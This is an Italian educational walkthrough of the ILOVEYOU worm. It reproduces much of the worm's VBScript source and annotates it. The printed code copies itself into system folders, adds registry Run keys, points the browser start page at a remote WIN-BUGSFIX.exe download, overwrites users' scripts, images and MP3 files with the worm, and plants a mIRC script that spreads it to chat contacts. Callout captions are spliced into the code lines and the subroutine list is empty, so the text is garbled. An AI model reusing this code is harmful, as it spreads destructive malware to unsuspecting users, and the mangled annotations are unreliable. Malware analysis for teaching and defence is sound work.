CODICE I LOVE YOU COMMENTATO

 

 

N.B. Il codice riportato è stato volontariamente modificato per renderlo non funzionante e viene analizzato a scopo didattico

 

 

Il codice del worm è facilmente visibile in quanto uno script VBS contiene le istruzione Visual basic "in chiaro" cioè non compilate. E' sufficiente aprire il file del virus in un editor di testi per visualizzare il codice.
Analizzare il codice di questo virus ha diversi scopi utili, tra cui scoprire come difendersi meglio da questo worm, come rimediare ai danni che provoca oppure mettere alla prova le proprie capacità di programmazione e di conoscenza del linguaggio.

Le prime righe del codice del virus sono dedicate ai commenti e alle impostazioni di alcune variabili che poi saranno usate nel programma.

Il primo commento inserito nel codice sorgente del virus è:

 
rem barok -loveletter(vbe)
rem barok -loveletter(vbe) <i hate go to school> 
rem by: spyder / ispyder@mail.com / @GRAMMERSoft Group /
Manila,Philippines


La frase "i hate go to school" significa "odio andare a scuola” (da notare che però la lettera "i", quando indica la prima persona, in inglese dovrebbe essere scritta in maiuscolo).

Fumetto 1: Disattiva le difese da macroIl nickname dell'autore sembra essere "spyder" appartenente al @GRAMMERSGroup di Manila, nelle Filippine. La parola "Spyder" forse è stata scelta per l'assonanza con "spider", ovvero "ragno" in inglese.

On Error Resume Next 
 
dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow
Fumetto 1: Crea la variabile oggetto per la lettura dei file presenti sul discoeq=""
ctr=0
 
set fso = CreateObject("Scripting.FileSystemObject")


Fumetto 1: Apre in lettura il file che ha come nome quello in esecuzione: quindi apre se stesso
 
 
 

set file = fso.OpenTextFile(WScript.ScriptFullname,1)
Fumetto 1: Legge il file e lo carica in memoriavbscopy=file.ReadAll 
 

La riga 10 costituisce la chiamata alla sub main() che da il via vero e proprio all'attività del virus.

Il codice è composto da 8 subroutines i cui nomi sono:

e dalle tre funzioni:

Descrizione  delle azioni

Fumetto 1: Neutralizza  le difese da macromain()

Fumetto 1: Controlla se esiste la chiavesub main()
On Error Resume Next
dim wscr,rr
set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows
 
 ScriptingHost\Settings\Timeout")
if (rr>=1) then
wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting
Fumetto 1: Se il valore della chiave è maggiore di 1 o se la chiave non esiste crea:Host\Settings\Timeout",0,"REG_DWORD"
end if
Set dirwin = fso.GetSpecialFolder(0)
Fumetto 1: Crea le seguenti chiavi:
• MSKernel32.vbs
•  Win32DLL.vbs
•  LOVE-LETTER-FOR-           YOU.TXT.vbs


Set dirsystem = fso.GetSpecialFolder(1)
Set dirtemp = fso.GetSpecialFolder(2)
Set c = fso.GetFile(WScript.ScriptFullName)

 

 

c.Copy(dirsystem&"\MSKernel32.vbs") files

c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
 
regruns()
html()
spreadtoemail()
listadriv()
end sub

La sub main() imposta alcune variabili usate nelle successive routine e crea nell'ordine i tre files "MSKernel32.vbs", "Win32DLL.VBS" e LOVE-LETTER-FOR-YOU.TXT.vbs". Il primo e il terzo vengono inseriti nella directory di sistema di Windows (SYSTEM in Win9x o SYSTEM32 in WinNT) mentre il secondo finisce nella directory di Windows.

 

 

In seguito vengono lanciate le seguenti routines:

regruns()

 

sub regruns()
Fumetto 1: Neutralizza le difese da macroOn Error Resume Next
Dim num,downread
 
 
regcreate
"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32
",dirsystem&"\MSKernel32.vbs"
regcreate
Fumetto 1: Inserisce nel  registro due chiavi che fanno eseguire all’avvio del sistema i due script:
 MSKernel32.vbs
Win32DLL.vbs


"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Wi
n32DLL",dirwin&"\Win32DLL.vbs"
 
 
downread=""

Fumetto 1: Individua la directory impostata per lo scaricamento dei file da Internet
 


downread=regget("HKEY_CURRENT_USER\Software\
 
Microsoft\InternetExplorer\Download Directory")
 
Fumetto 1: Se non esiste prende come default “C:\”if (downread="") then       
downread="c:\"
end if
Fumetto 1: Controlla se esiste il fileif (fileexist(dirsystem&"\WinFAT32.exe")=1) then
Fumetto 1: Se il file non esiste vengono create delle chiavi  in modo casualeRandomize
num = Int((4 * Rnd) + 1)
if num = 1 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
elseif num = 2 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
elseif num = 3 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
elseif num = 4 then
regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start
Page","http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-BUGSFIX.exe"
Fumetto 1: Verifica l’ esistenza del file WIN-BUGSFIX.exeend if
end if
if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then
regcreate"HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\WIN-
 
 
BUGSFIX",downread&"\WIN-BUGSFIX.exe"


Fumetto 1: Imposta il registro per eseguire il file WIN-BUGSFIX.exe ad ogni avvio del computer
 
 
 

regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet 
 
 
 
Fumetto 1: La pagina iniziale di Internet Explorer diventa biancaExplorer\Main\StartPage","about:blank"
end if
end sub
 
 

La sub regruns() inserisce nel registro due chiavi che fanno eseguire all'avvio del sistema i due script "MSKernel32.vbs" e "Win32DLL.vbs". Inoltre individua la directory impostata di default per lo scaricamento dei files da internet e verifica che esista il file "WinFAT32.exe" nella directory di Windows. Se quest'ultimo file esiste, il virus modifica (attraverso il Registro) la Pagina Iniziale di MS Internet Explorer inserendo la URL del file "WIN-BUGFIX.EXE" posto in una sottodirectory del sito www.skyinet.net .
La sub verifica poi l'esistenza del file WIN-BUGSFIX.exe nella directory predefinita per il download e imposta il Registro per eseguirlo a ogni avvio del computer. Dopodiché la Pagina Iniziale di Internet Explorer diventa "about:blank"

 

 

html


html()La routine html() crea una pagina HTML contente il codice virale nella directory di Windows con il nome "LOVE-LETTER-FOR-YOU.HTM". Questa pagina verrà poi usata dal virus per infettare altri utenti attraverso mIRC.

 

spreadtoemail()
 
 
La sub spreadtoemail() legge gli indirizzi e-mail nella rubrica del client 
predefinito MAPI e prepara per ognuno una e-mail con le seguenti caratteristiche 
con oggetto "ILOVEYOU" e testo nel corpo "kindly check the attached LOVELETTER 
coming from me.". Al messaggio viene allegato il file "LOVE-LETTER-FOR-
YOU.TXT.vbs" contenuto nella directory di Windows "\WINDOWS\SYSTEM\LOVE-
LETTER-FOR-YOU.TXT.vbs" e lo invia.

 

 
 


 

 

 


listadriv()

Fumetto 1: Neutralizza le difese da macrosub listadriv
On Error Resume Next
Fumetto 1: Analizza tutti i drivers presenti nell’ hard-diskDim d,dc,s
Set dc = fso.Drives
For Each d in dc
If d.DriveType = 2 or d.DriveType=3 Then
Fumetto 1: Esegue la funzione folderlist per ogni unitàfolderlist(d.path&"\")

end if

Next
listadriv = s
end sub

listadriv() analizza i drivers presenti nel disco e per ogni unità esegue la funzione folderlist .

 

 

 

infectfiles(folderspec)

Fumetto 1: Neutralizza le difese da macro
 


sub infectfiles(folderspec)
On Error Resume Next
dim f,f1,fc,ext,ap,mircfname,s,bname,mp3
set f = fso.GetFolder(folderspec)
Fumetto 1: Individua tutti i files con etenxione:*.vbs, *.vbe set fc = f.Files
for each f1 in fc
ext=fso.GetExtensionName(f1.path)
ext=lcase(ext)
s=lcase(f1.name)
Fumetto 1: Individua tutti i files con estensione: *.js, *..jse, *..css, *.wsh, *.sct, *.htaif (ext="vbs") or (ext="vbe") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext="sct")
or (ext="hta") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
bname=fso.GetBaseName(f1.path)
Fumetto 1: Le immagini JPEG(*.jpg,*.jpeg) vengono soprascritte da un file con lo stesso nome ma	 estensione *.vbs e come contenuto una copia del worm

set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\"&bname&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="jpg") or (ext="jpeg") then
set ap=fso.OpenTextFile(f1.path,2,true)
ap.write vbscopy
ap.close
Fumetto 1: I fileMP3 e MP2 vengono sovrascritti da un file con lo stesso nome con	 estensione *.vbs e come contenuto una copia del worm

set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
elseif(ext="mp3") or (ext="mp2") then
set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.close
set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
end if
 
if (eq<>folderspec) then
Fumetto 1: Cerca il software mIRCif (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or
(s="script.ini") or (s="mirc.hlp") then
 
Fumetto 1: Crea nella cartella del software mIRC il file Script.iniset scriptini=fso.CreateTextFile(folderspec&"\script.ini")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt,
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{"
scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }"
Fumetto 1: Creazione pagina html contenente una copia del wormscriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\LOVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}"
scriptini.close
eq=folderspec
end if
end if
next
end sub

 

infectfiles(folderspec) si occupa di individuare tutti i files con scrtipts o fogli di stile (*.vbs, *.vbe, *.js, *.jse, *.css, *.wsh, *.sct, *.hta) e ne sostituisce il codice con una copia integrale del virus.
Le immagini JPEG (*.jpg, *.jpeg) e i files sonori in MP3 e MP2 (*.mp2, *.mp3) vengono sovrascritti da un file avente lo stesso nome, estensione *.vbs e, come contenuto  nuovo una copia del codice virale.
Questa routine, inoltre cerca la presenza del software mIRC, uno dei più diffusi per l'uso delle Internet relay Chat e crea nella sua cartella un file di nome "SCRIPT.INI". Questo scirpt contiene i comandi per inviare ai propri interlocutori una copia di "LOVE-LETTER-FOR-YOU.HTM" che è una pagina html contente ancora una copia del virus.

regcreate(regkey,regvalue)


Fumetto 1: Crea la variabile oggetto
 

sub regcreate(regkey,regvalue)
Set regedit = CreateObject("WScript.Shell")
Fumetto 1: Scrive una chiave e un valoreregedit.RegWrite regkey,regvalue
end sub
 
function regget(value)
 


Fumetto 1: Crea la variabile oggetto
 

function regget(value)
Set regedit = CreateObject("WScript.Shell")
Fumetto 1: Preleva un valoreregget=regedit.RegRead(value)
end function
 
function fileexist(filespec)
Fumetto 1: Neutralizza le difese da macro 

function fileexist(filespec)
Fumetto 1: Verifica l’ esistenza del file specificatoOn Error Resume Next
dim msg
if (fso.FileExists(filespec)) Then
Fumetto 1: Se esiste assegna alla variabile msg: 0msg = 0
else
msg = 1
Fumetto 1: Se non esiste assegna alla variabile msg:1end if
 
 
 
 
 
Fumetto 1: Assegna a fileexist il valore 0 o 1fileexist = msg
end function
 
function folderexist(folderspec)
 


Fumetto 1: Neutralizza le difese da 
macro
 

function folderexist(folderspec)
On Error Resume Next
dim msg
if (fso.GetFolderExists(folderspec)) then
Fumetto 1: Se esiste assegna alla variabile msg: 0msg = 0
 
else
 
Fumetto 1: Se non esiste assegna alla variabile msg:1msg = 1  
 
end if
Fumetto 1: Assegna a fileexist il valore 0 o 1fileexist = msg
end function
 

Cosa ci riserva il futuro

Questo virus, nonostante il grande clamore suscitato, in effetti, non era né particolarmente sofisticato né pericoloso.
La maggior parte degli utenti di PC sa (o dovrebbe sapere) che gli allegati di posta elettronica non vanno MAI aperti prima di essere sicuri del loro contenuto, vanificando così l'azione del virus alla fonte. La possibilità di analizzare semplicemente il codice virale, inoltre, ha permesso un rapido studio del virus e delle contromisure per combatterlo.
Purtroppo, sfruttando opportunamente alcune caratteristiche dei Mail reader avanzati con MS Outlook, è possibile forzare il software all'apertura dei file in allegato senza la necessità dell'avvio manuale.